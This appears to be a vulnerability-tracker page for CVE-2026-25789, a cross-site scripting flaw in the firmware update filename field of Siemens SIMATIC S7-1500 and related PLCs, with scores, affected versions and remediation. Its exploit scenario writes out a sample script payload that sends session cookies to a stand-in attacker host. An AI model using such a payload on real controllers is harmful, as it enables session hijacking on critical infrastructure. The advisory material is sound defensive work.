Skip to main content

SIMATIC S7-1500 EUVDEUVD-2026-29428

| CVE-2026-25789 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-12 siemens GHSA-r662-c7v7-m9h4
XSS Siemens Simatic Et 200Sp Cpu 1510Sp F 1 Pn Simatic Et 200Sp Cpu 1510Sp 1 Pn Simatic Et 200Sp Cpu 1512Sp F 1 Pn Simatic Et 200Sp Cpu 1512Sp 1 Pn Simatic S7 1500 Cpu 1511 1 Pn Simatic S7 1500 Cpu 1511F 1 Pn Simatic S7 1500 Cpu 1513 1 Pn Simatic S7 1500 Cpu 1515 2 Pn Simatic S7 1500 Cpu 1515F 2 Pn Simatic S7 1500 Cpu 1516 3 Pn Dp Simatic S7 1500 Cpu 1516F 3 Pn Dp Simatic Drive Controller Cpu 1504D Tf Simatic Drive Controller Cpu 1507D Tf Simatic Et 200Sp Cpu 1514Sp F 2 Pn Simatic Et 200Sp Cpu 1514Sp 2 Pn Simatic Et 200Sp Cpu 1514Spt F 2 Pn Simatic Et 200Sp Cpu 1514Spt 2 Pn Simatic Et 200Sp Open Controller Cpu 1515Sp Pc Incl Siplus Variants Simatic Et 200Sp Open Controller Cpu 1515Sp Pc2 Incl Siplus Variants V2 Cpus Simatic Et 200Sp Open Controller Cpu 1515Sp Pc2 Incl Siplus Variants V3 Cpus Simatic Et 200Sp Open Controller Cpu 1515Sp Pc3 V4 Cpus Simatic S7 1500 Cpu 1511C 1 Pn Simatic S7 1500 Cpu 1511T 1 Pn Simatic S7 1500 Cpu 1511Tf 1 Pn Simatic S7 1500 Cpu 1512C 1 Pn Simatic S7 1500 Cpu 1513F 1 Pn Simatic S7 1500 Cpu 1513Pro F 2 Pn Simatic S7 1500 Cpu 1513Pro 2 Pn Simatic S7 1500 Cpu 1515T 2 Pn Simatic S7 1500 Cpu 1515Tf 2 Pn Simatic S7 1500 Cpu 1516Pro F 2 Pn Simatic S7 1500 Cpu 1516Pro 2 Pn Simatic S7 1500 Cpu 1516T 3 Pn Simatic S7 1500 Cpu 1516T 3 Pn Dp Simatic S7 1500 Cpu 1516Tf 3 Pn Simatic S7 1500 Cpu 1516Tf 3 Pn Dp Simatic S7 1500 Cpu 1517 3 Pn Simatic S7 1500 Cpu 1517 3 Pn Dp Simatic S7 1500 Cpu 1517F 3 Pn Simatic S7 1500 Cpu 1517F 3 Pn Dp Simatic S7 1500 Cpu 1517T 3 Pn Simatic S7 1500 Cpu 1517T 3 Pn Dp Simatic S7 1500 Cpu 1517Tf 3 Pn Simatic S7 1500 Cpu 1517Tf 3 Pn Dp Simatic S7 1500 Cpu 1518 3 Pn Simatic S7 1500 Cpu 1518 4 Pn Dp Simatic S7 1500 Cpu 1518 4 Pn Dp Mfp Simatic S7 1500 Cpu 1518F 3 Pn Simatic S7 1500 Cpu 1518F 4 Pn Dp Simatic S7 1500 Cpu 1518F 4 Pn Dp Mfp Simatic S7 1500 Cpu 1518T 3 Pn Simatic S7 1500 Cpu 1518T 4 Pn Dp Simatic S7 1500 Cpu 1518Tf 3 Pn Simatic S7 1500 Cpu 1518Tf 4 Pn Dp Simatic S7 1500 Cpu S7 1518 4 Pn Dp Odk Simatic S7 1500 Cpu S7 1518F 4 Pn Dp Odk Simatic S7 1500 Et 200Pro Simatic S7 1500 Software Controller Cpu 1507S F V2 Simatic S7 1500 Software Controller Cpu 1507S F V3 Simatic S7 1500 Software Controller Cpu 1507S F V4 Simatic S7 1500 Software Controller Cpu 1507S V2 Simatic S7 1500 Software Controller Cpu 1507S V3 Simatic S7 1500 Software Controller Cpu 1507S V4 Simatic S7 1500 Software Controller Cpu 1508S F V2 Simatic S7 1500 Software Controller Cpu 1508S F V3 Simatic S7 1500 Software Controller Cpu 1508S F V4 Simatic S7 1500 Software Controller Cpu 1508S T V3 Simatic S7 1500 Software Controller Cpu 1508S Tf V3 Simatic S7 1500 Software Controller Cpu 1508S V2 Simatic S7 1500 Software Controller Cpu 1508S V3 Simatic S7 1500 Software Controller Cpu 1508S V4 Simatic S7 1500 Software Controller Linux V2 Simatic S7 1500 Software Controller Linux V3 Simatic S7 Plcsim Advanced Siplus Et 200Sp Cpu 1510Sp F 1 Pn Siplus Et 200Sp Cpu 1510Sp F 1 Pn Rail Siplus Et 200Sp Cpu 1510Sp 1 Pn Siplus Et 200Sp Cpu 1510Sp 1 Pn Rail Siplus Et 200Sp Cpu 1512Sp F 1 Pn Siplus Et 200Sp Cpu 1512Sp F 1 Pn Rail Siplus Et 200Sp Cpu 1512Sp 1 Pn Siplus Et 200Sp Cpu 1512Sp 1 Pn Rail Siplus S7 1500 Cpu 1511 1 Pn Siplus S7 1500 Cpu 1511 1 Pn T1 Rail Siplus S7 1500 Cpu 1511 1 Pn Tx Rail Siplus S7 1500 Cpu 1511F 1 Pn Siplus S7 1500 Cpu 1513 1 Pn Siplus S7 1500 Cpu 1513F 1 Pn Siplus S7 1500 Cpu 1515F 2 Pn Siplus S7 1500 Cpu 1515F 2 Pn Rail Siplus S7 1500 Cpu 1515F 2 Pn T2 Rail Siplus S7 1500 Cpu 1516 3 Pn Dp Siplus S7 1500 Cpu 1516 3 Pn Dp Rail Siplus S7 1500 Cpu 1516 3 Pn Dp Tx Rail Siplus S7 1500 Cpu 1516F 3 Pn Dp Siplus S7 1500 Cpu 1516F 3 Pn Dp Rail Siplus S7 1500 Cpu 1518 4 Pn Dp Siplus S7 1500 Cpu 1518 4 Pn Dp Mfp Siplus S7 1500 Cpu 1518F 4 Pn Dp
7.2
CVSS 4.0 · Vendor: siemens
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Gain network access to OT segment
  2. Delivery
    Authenticate to web management interface
  3. Exploit
    Craft firmware file with XSS payload in filename
  4. Install
    Social engineer administrator to select malicious file
  5. C2
    Execute JavaScript in admin session
  6. Execute
    Exfiltrate session tokens or credentials
  7. Impact
    Hijack administrative session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access with privileges sufficient to reach the web-based firmware update interface (PR:L indicates low-privilege authentication, typically any authenticated user with access to the management web server). Attack depends on successful social engineering to manipulate the authenticated user into selecting the attacker-crafted filename on the firmware upload page (UI:R mandatory). Victim must use web browser to access the controller's management interface rather than TIA Portal or other engineering tools. The malicious filename must be made accessible to the target administrator through file sharing, email, removable media, or compromised engineering workstation. Exploitation is limited by network access controls-if management interfaces are properly segmented to isolated OT networks accessible only via jump hosts or VPN with MFA, attack surface is substantially reduced. High attack complexity (AC:H) reflects these compounding prerequisites: network positioning, valid credentials, social engineering success, and user interaction during firmware update workflow.

Impact

The CVSS 3.1 score of 7.1 (High) reflects multiple mitigating factors that reduce real-world exploitability compared to typical web application XSS. Attack vector is network-based (AV:N) but requires high attack complexity (AC:H) due to social engineering prerequisites, low-privilege authentication (PR:L), and required user interaction (UI:R). The vulnerability requires the attacker to first convince an authenticated administrator to navigate to the firmware update page and select a maliciously-named file, making this a multi-stage attack rather than direct exploitation. Impact scope is unchanged (S:U), meaning compromise is limited to the vulnerable component rather than adjacent systems. Despite high confidentiality, integrity, and availability impacts (C:H/I:H/A:H), the practical exploitation barrier is substantial. No EPSS score provided to assess likelihood of exploitation attempts. No CISA KEV listing indicates this is not confirmed as actively exploited in the wild. The primary risk is in targeted attacks against organizations where social engineering against ICS administrators is feasible, particularly in environments where firmware updates are frequent or where attackers have insider knowledge of operational patterns. For most organizations, this represents lower priority than unauthenticated or easily automatable vulnerabilities, despite the High CVSS rating. The industrial control system context elevates concern due to potential operational disruption, but the authentication and social engineering requirements provide significant defensive layers.

Exploit ScenarioDerived

An attacker with low-privilege network access to the SIMATIC controller's web interface creates a firmware file with a malicious filename containing JavaScript payloads (e.g., '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>.bin'). Through social engineering-such as posing as a vendor support technician, disguising the file as a critical security update via phishing email, or leaving the file on a shared engineering workstation-the attacker convinces an authenticated administrator to navigate to the firmware update page and select this file. When the administrator views the file selection interface, the unsanitized filename executes in their browser, exfiltrating session cookies or credentials to attacker-controlled infrastructure, enabling full takeover of the administrator session and subsequent unauthorized control over the industrial automation system.

Act Now Prioritize within 24-48h. Why: Active threat signals + CRITICAL/HIGH severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Cross-site scripting (XSS) in Siemens SIMATIC S7-1500 PLC family firmware upload interface allows authenticated attackers to execute malicious JavaScript in administrator sessions via crafted filenames. This stored XSS requires social engineering to trick authenticated users into selecting the attacker-supplied firmware file on the web-based management interface. Successful exploitation enables session hijacking and credential theft without requiring the malicious file to be uploaded. EPSS data not provided, no CISA KEV status confirmed, affecting industrial automation controllers widely deployed in critical infrastructure environments.

RemediationAI

Apply firmware updates as specified in Siemens ProductCERT advisory SSA-688146 available at https://cert-portal.siemens.com/productcert/html/ssa-688146.html. The advisory provides specific patched firmware versions for each affected CPU model and variant. Until patching is completed, implement strict administrative controls limiting firmware update operations to trusted personnel only, enforce multi-person approval processes for firmware changes, and conduct security awareness training emphasizing risks of selecting files from untrusted sources during firmware updates. Network segmentation should isolate PLC management interfaces from general corporate networks using dedicated management VLANs or jump hosts with enhanced monitoring. Disable web-based management interfaces if command-line or TIA Portal-based firmware update methods are available and preferred in your environment. Monitor authentication logs and firmware update attempts for suspicious patterns. Note that disabling web interfaces may impact operational convenience and remote management capabilities, requiring assessment of operational trade-offs. As this is a stored XSS requiring file interaction rather than automated exploitation, behavioral controls and user training provide meaningful risk reduction while patches are being deployed across industrial environments where change windows are limited.

Affected VersionsENISA

SIMATIC S7-1500 Software Controller CPU 1507S F V4 0 <*
SIMATIC S7-1500 CPU 1517TF-3 PN 0 <*
SIPLUS S7-1500 CPU 1511F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516TF-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 ET 200pro: CPU 1513PRO-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1515F-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1516T-3 PN 0 <*
SIMATIC ET 200SP CPU 1512SP F-1 PN 0 <*
SIMATIC S7-1500 CPU 1515F-2 PN 0 <*
SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL 0 <V2.9.9
SIMATIC Drive Controller CPU 1504D TF 0 <V3.1.6
SIMATIC S7-1500 Software Controller CPU 1508S F V3 0 <*
SIMATIC S7-1500 CPU 1511F-1 PN 0 <*
SIMATIC S7-1500 CPU 1518-4 PN/DP MFP 0 <V3.1.6
SIMATIC S7-1500 CPU 1511C-1 PN 0 <*
SIMATIC ET 200SP CPU 1512SP-1 PN 0 <*
SIPLUS ET 200SP CPU 1512SP F-1 PN 0 <*
SIMATIC S7-1500 ET 200pro: CPU 1516PRO-2 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1516-3 PN/DP 0 <V2.9.9
SIPLUS ET 200SP CPU 1512SP F-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 ET 200pro: CPU 1516PRO F-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP 0 <V3.1.6
SIPLUS S7-1500 CPU 1518F-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1513-1 PN 0 <*
SIMATIC S7-1500 CPU 1517-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 Software Controller CPU 1507S F V2 0 <*
SIMATIC S7-1500 CPU 1515T-2 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1516pro F-2 PN 0 <*
SIPLUS ET 200SP CPU 1510SP F-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1507S F V3 0 <*
SIMATIC S7-1500 CPU 1513-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1516-3 PN/DP 0 <*
SIPLUS S7-1500 CPU 1513-1 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1507S V2 0 <*
SIMATIC S7-1500 CPU 1516F-3 PN/DP 0 <V2.9.9
SIMATIC S7-1500 CPU 1517F-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1515-2 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1508S T V3 0 <*
SIMATIC S7-1500 CPU 1517F-3 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S V3 0 <*
SIMATIC S7-1500 CPU 1512C-1 PN 0 <*
SIMATIC S7-1500 CPU 1516TF-3 PN 0 <*
SIPLUS ET 200SP CPU 1510SP-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1511TF-1 PN 0 <*
SIPLUS S7-1500 CPU 1513F-1 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S F V2 0 <*
SIPLUS S7-1500 CPU 1511F-1 PN 0 <*
SIMATIC ET 200SP Open Controller CPU 1515SP PC3 V4 CPUs 0 <*
SIMATIC ET 200SP Open Controller CPU 1515SP PC (incl. SIPLUS variants) 0 <*
SIPLUS ET 200SP CPU 1512SP-1 PN RAIL 0 <V2.9.9
SIPLUS S7-1500 CPU 1513F-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1516-3 PN/DP RAIL 0 <V2.9.9
SIMATIC ET 200SP CPU 1514SP F-2 PN 0 <*
SIMATIC ET 200SP CPU 1510SP F-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1514SPT F-2 PN 0 <*
SIPLUS ET 200SP CPU 1510SP-1 PN RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1511C-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1515T-2 PN 0 <*
SIMATIC S7-1500 CPU 1518-3 PN 0 <*
SIMATIC ET 200SP CPU 1510SP F-1 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1507S V4 0 <*
SIPLUS ET 200SP CPU 1512SP F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1513F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1511-1 PN 0 <*
SIMATIC S7-1500 CPU 1515-2 PN 0 <*
SIMATIC S7-1500 Software Controller Linux V2 0 <*
SIMATIC S7-1500 CPU 1516pro-2 PN 0 <*
SIMATIC S7-1500 CPU 1518TF-3 PN 0 <*
SIPLUS S7-1500 CPU 1516F-3 PN/DP 0 <*
SIMATIC S7-1500 CPU 1515TF-2 PN 0 <V2.9.9
SIPLUS ET 200SP CPU 1512SP-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518T-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 Software Controller Linux V3 0 <*
SIPLUS S7-1500 CPU 1511-1 PN TX RAIL 0 <V2.9.9
SIMATIC Drive Controller CPU 1507D TF 0 <V3.1.6
SIMATIC S7-1500 CPU 1513pro F-2 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S V2 0 <*
SIMATIC S7-1500 CPU 1518T-3 PN 0 <*
SIMATIC S7-1500 CPU 1517-3 PN 0 <*
SIPLUS S7-1500 CPU 1516-3 PN/DP TX RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1511-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1515F-2 PN T2 RAIL 0 <V2.9.9
SIPLUS S7-1500 CPU 1518-4 PN/DP MFP 0 <V3.1.6
SIPLUS ET 200SP CPU 1510SP F-1 PN 0 <V2.9.9
SIMATIC ET 200SP CPU 1512SP F-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1511T-1 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S F V4 0 <*
SIMATIC S7-1500 CPU 1511T-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1517T-3 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S V4 0 <*
SIMATIC S7-1500 CPU S7-1518-4 PN/DP ODK 0 <*
SIMATIC ET 200SP CPU 1514SPT-2 PN 0 <*
SIPLUS S7-1500 CPU 1513-1 PN 0 <*
SIPLUS S7-1500 CPU 1516-3 PN/DP 0 <*
SIMATIC S7-1500 CPU 1518F-3 PN 0 <*
SIMATIC S7-1500 CPU 1511F-1 PN 0 <V2.9.9
SIMATIC S7-1500 Software Controller CPU 1507S V3 0 <*
SIMATIC S7-1500 CPU 1513F-1 PN 0 <*
SIMATIC S7-1500 CPU 1517TF-3 PN/DP 0 <V3.1.6
SIMATIC ET 200SP CPU 1510SP-1 PN 0 <V2.9.9
SIMATIC S7-1500 ET 200pro: CPU 1513PRO F-2 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1511-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU 1518TF-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516F-3 PN/DP 0 <*
SIMATIC ET 200SP CPU 1512SP-1 PN 0 <V2.9.9
SIPLUS S7-1500 CPU 1518-4 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1518F-4 PN/DP 0 <V3.1.6
SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL 0 <V2.9.9
SIMATIC S7-1500 CPU 1517T-3 PN/DP 0 <V3.1.6
SIMATIC S7-1500 CPU 1516-3 PN/DP 0 <V2.9.9
SIMATIC ET 200SP CPU 1514SP-2 PN 0 <*
SIMATIC S7-1500 CPU 1516T-3 PN/DP 0 <V3.1.6
SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) V3 CPUs 0 <*
SIMATIC S7-1500 CPU 1511TF-1 PN 0 <V2.9.9
SIMATIC S7-1500 CPU S7-1518F-4 PN/DP ODK 0 <*
SIMATIC S7-1500 CPU 1513pro-2 PN 0 <*
SIPLUS S7-1500 CPU 1515F-2 PN RAIL 0 <V2.9.9
SIPLUS S7-1500 CPU 1511-1 PN 0 <*
SIPLUS S7-1500 CPU 1515F-2 PN 0 <V2.9.9
SIMATIC S7-PLCSIM Advanced 0 <*
SIMATIC ET 200SP CPU 1510SP-1 PN 0 <*
SIMATIC S7-1500 CPU 1515TF-2 PN 0 <*
SIMATIC S7-1500 Software Controller CPU 1508S TF V3 0 <*
SIPLUS S7-1500 CPU 1516F-3 PN/DP 0 <V2.9.9
SIMATIC S7-1500 CPU 1512C-1 PN 0 <V2.9.9
SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) V2 CPUs 0 <*

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from improper input validation (CWE-79: Cross-Site Scripting) in the web-based firmware update interface of Siemens SIMATIC controllers. The affected product line includes S7-1500 CPUs, ET 200SP distributed I/O controllers, SIMATIC Drive Controllers, and Software Controllers running on Linux. These are programmable logic controllers (PLCs) used in industrial automation and SCADA systems. The firmware update mechanism accepts user-supplied filenames without proper sanitization, allowing JavaScript injection through specially crafted filename strings. When an authenticated administrator views the firmware selection interface, the unsanitized filename is rendered in their browser context, triggering script execution. The CPE strings indicate broad impact across multiple hardware variants (CPU models 1510SP through 1518, including safety-rated F-variants and technology T-variants) and virtualized software controller implementations. This affects both current-generation V3/V4 firmware and legacy V2 systems.

Know when Simatic Et 200Sp Cpu 1510Sp F 1 Pn gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (siemens) PRIMARY 7.2 HIGH
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H

Primary rating from Vendor (siemens) · only source for this CVE.

CVSS VectorVendor: siemens

Attack Vector
Network
Attack Complexity
High
Attack Requirements
Present
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
CVSS changed
May 12, 2026 - 10:22 NVD
7.1 (HIGH) 7.2 (HIGH)
CVE Published
May 12, 2026 - 08:21 nvd
HIGH 7.1

DescriptionCVE.org

Affected devices do not properly validate and sanitize filenames on the Firmware Update page. This could allow a remote attacker to social engineer the user into selecting the modified firmware file to be uploaded. This would result in malitcious JavaScript execution in the context of the authenticated user's session without requiring the file to be uploaded, potentially leading to session hijacking or credential theft.

Executive ViewAI

Why It Matters

Siemens SIMATIC S7-1500 PLC controllers contain a stored cross-site scripting vulnerability in the firmware upload interface that allows authenticated attackers to hijack administrator sessions and steal credentials through social engineering. This impacts industrial automation systems in critical infrastructure environments where these controllers manage operational technology, creating risk of unauthorized access to supervisory control systems without requiring successful file upload.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement network-layer mitigations: restrict firmware upload interface access via firewall rules to trusted administrative networks only; deploy HTTP inspection to block javascript in filename parameters; enforce administrative access through jump hosts with session logging; disable web management interface if firmware updates can be performed through alternative secure methods; require administrator approval workflow for all firmware operations with secondary verification before execution.

Threat Intelligence Overview

EPSS Score
0.1%
Top 67% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat Yes
Deciding rule
Active threat signals + CRITICAL/HIGH severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: +10
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-25787 CRITICAL
9.3 May 12

Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controller families allows authenticated attac

CVE-2026-25786 CRITICAL
9.3 May 12

Stored cross-site scripting in Siemens SIMATIC S7-1500 controller family web interface allows authenticated high-privile

CVE-2025-40833 HIGH
8.7 May 12

Denial of service in Siemens industrial networking equipment allows remote unauthenticated attackers to crash affected d

CVE-2026-63354 CRITICAL
9.4 Oct 13

Cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Controller CPU

CVE-2026-63353 CRITICAL
9.4 Oct 13

Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, Drive Controller and S7-1

CVE-2026-63350 CRITICAL
9.4 Oct 13

Importing a maliciously crafted trace file into the integrated web server of a Siemens SIMATIC S7-1500 (and closely rela

CVE-2026-63357 MEDIUM
5.3 Oct 13

Stored cross-site scripting (CWE-79) in the integrated web server Trace page of Siemens SIMATIC S7-1500, ET 200SP, and S

CVE-2026-63356 MEDIUM
5.3 Oct 13

Reflected cross-site scripting in the integrated web server of a broad range of Siemens SIMATIC S7-1500, ET 200SP, and D

CVE-2026-63355 MEDIUM
5.3 Oct 13

Stored/DOM cross-site scripting (CWE-79, CVSS 6.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) in the web-based Trace

CVE-2026-63352 MEDIUM
5.3 Oct 13

Cross-site scripting (CWE-79) in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Contr

CVE-2026-63351 MEDIUM
5.3 Oct 13

Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP and SIMATIC Drive Controll

Threat IntelligenceMISP

CISA Advisories
Sources: CISA (public domain)

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy